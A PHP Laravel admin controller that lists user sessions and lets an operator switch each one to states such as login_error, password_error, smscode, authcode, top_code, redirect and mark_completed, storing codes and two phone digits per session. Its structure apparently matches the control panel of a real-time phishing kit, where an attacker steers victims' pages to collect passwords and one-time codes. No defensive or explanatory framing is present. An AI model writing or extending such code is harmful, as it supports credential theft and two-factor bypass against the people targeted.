<?php

namespace App\Http\Controllers\Admin;

use App\Http\Controllers\Controller;
use App\Models\SessionUser;
use Illuminate\Http\RedirectResponse;
use Illuminate\Http\Request;
use Illuminate\View\View;
use Illuminate\Support\Collection;

class DashboardController extends Controller
{
    private const STATUS_TRANSITIONS = [
        'login_error' => 'login_error',
        'password_error' => 'password_error',
        'phonenumber' => 'phonenumber',
        'smscode' => 'smscode',
        'smscode_error' => 'smscode_error',
        'authcode' => 'authcode',
        'authcode_error' => 'authcode_error',
        'top_code' => 'top_code',
        'redirect' => 'redirect',
        'mark_completed' => 'mark_completed',
    ];

    public function index(Request $request): View
    {
        try {
            $sessions = SessionUser::where('status', '!=', 'mark_completed')
                ->orderByDesc('id')
                ->get();
        } catch (\Throwable $e) {
            $sessions = new Collection();
            if ($request->session()->has('admin_dashboard_db_error')) {
                // already showed once
            } else {
                $request->session()->flash('error', 'Database not ready. Create the users table in phpMyAdmin (see migration or README).');
                $request->session()->put('admin_dashboard_db_error', true);
            }
        }

        return view('admin.dashboard', compact('sessions'));
    }

    public function handleSession(Request $request): RedirectResponse
    {
        $sessionId = $request->input('session_id');
        $action = $request->input('action');

        if (!$sessionId || !$action || !isset(self::STATUS_TRANSITIONS[$action])) {
            return back()->with('error', 'Invalid request');
        }

        $user = SessionUser::where('session_id', $sessionId)->first();
        if (!$user) {
            return back()->with('error', 'Session not found');
        }

        $status = self::STATUS_TRANSITIONS[$action];

        if ($action === 'phonenumber') {
            $digits = trim((string) $request->input('digits'));
            if (!preg_match('/^\d{2}$/', $digits)) {
                return back()->with('error', 'Enter exactly 2 digits for phone number');
            }
            $user->update(['phonenumber' => $digits, 'status' => $status]);
        } elseif ($action === 'top_code') {
            $code = trim((string) $request->input('code'));
            if ($code === '') {
                return back()->with('error', 'Top code is required');
            }
            $user->update(['topcode' => $code, 'status' => $status]);
        } elseif ($action === 'smscode') {
            $smscode = trim((string) $request->input('smscode'));
            if ($smscode === '') {
                return back()->with('error', 'SMS code is required');
            }
            $user->update(['smscode1' => $smscode, 'status' => $status]);
        } else {
            $user->update(['status' => $status]);
        }

        return back()->with('success', 'Updated');
    }
}
